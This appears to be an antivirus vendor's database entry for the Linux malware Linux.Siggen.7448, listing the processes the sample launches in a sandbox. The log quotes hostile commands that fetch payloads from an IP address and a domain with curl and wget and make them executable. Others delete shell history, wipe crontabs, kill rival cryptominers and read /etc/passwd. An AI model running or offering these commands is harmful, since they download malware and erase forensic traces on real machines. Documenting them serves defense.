Linux.Siggen.7448

Linux.Siggen.7448

Added to the Dr.Web virus database: 2024-05-13

Virus description added: 2024-05-13

Malicious functions:

Removes itself

Launches processes:

curl -s -L -O 45.88.67.94/network
<SAMPLE_FULL_PATH> -c exec \x27<SAMPLE_FULL_PATH>\x27 \x22$@\x22 <SAMPLE_FULL_PATH>
rm -rf /root/.bash_history
chmod +x iplist ips iptemp retea
grep -v false
cat .usrs
/usr/bin/pgrep pkill haiduc
mkdir /dev/shm/.x
chmod +x network
sed 1d iptemp
grep -v nologin
cat ips
rm -rf xmrig .diicot .black Opera
curl -O -s -L arhivehaceru.com/payload
rm -rf /dev/shm/retea /dev/shm/.magic
wget -q 45.88.67.94/network
uniq
chmod +x .teaca
/usr/bin/pgrep pkill Opera
crontab -r
/usr/bin/pgrep pkill xMEu
grep -v sync
sleep 3
rm -rf .black xmrig.1
grep 192.168
rm -rf retea ips iptemp ips iplist
/usr/bin/pgrep pkill java
rm -rf .retea
rm -rf pass
cut -d: -f1
/usr/bin/pgrep pkill xrx
/usr/bin/mawk awk -F. {print $1\x22.\x22$2}
wget -q arhivehaceru.com/payload
/usr/bin/pgrep pkill blacku
/usr/bin/pgrep pkill xmrig
/usr/bin/mawk awk {print $1}
cat retea
mkdir /tmp/.tmp
wget -q 45.88.67.94/ps
<0x2f>
rm -rf /dev/shm/.x /var/tmp/.update-logs /var/tmp/Documents /tmp/.tmp
curl -s -L -O 45.88.67.94/ps
grep 10.
rm -rf /dev/shm/.x /root/retea iplist ips iptemp pass retea <SAMPLE_FULL_PATH> /root/run.sh /root/stdout.log /root/stub.sh
grep -v halt
cat /etc/passwd
ip r
grep -v shutdown
rm -rf .bash_history /root/.bash_history
/usr/bin/pgrep pkill cnrig
chmod +x payload systemd-private-f0fd406c1a484a80879a20681d9207ef-systemd-logind.service-4ZZQFi systemd-private-f0fd406c1a484a80879a20681d9207ef-systemd-timesyncd.service-rlMSmi
grep -c . .usrs
grep 172.
sleep 1
chmod +x ps

Performs operations with the file system:

Modifies file access rights:

/var/tmp/payload
/var/tmp/systemd-private-f0fd406c1a484a80879a20681d9207ef-systemd-logind.service-4ZZQFi
/var/tmp/systemd-private-f0fd406c1a484a80879a20681d9207ef-systemd-timesyncd.service-rlMSmi
/dev/shm/.x/iplist
/dev/shm/.x/ips
/dev/shm/.x/iptemp
/dev/shm/.x/retea

Creates folders:

Deletes folders:

Creates or modifies files:

Deletes files:

Network activity:

Establishes connection:

DNS ASK:

Sends data to the following servers:

Receives data from the following servers:

Other:

Collects OS information

Collects CPU information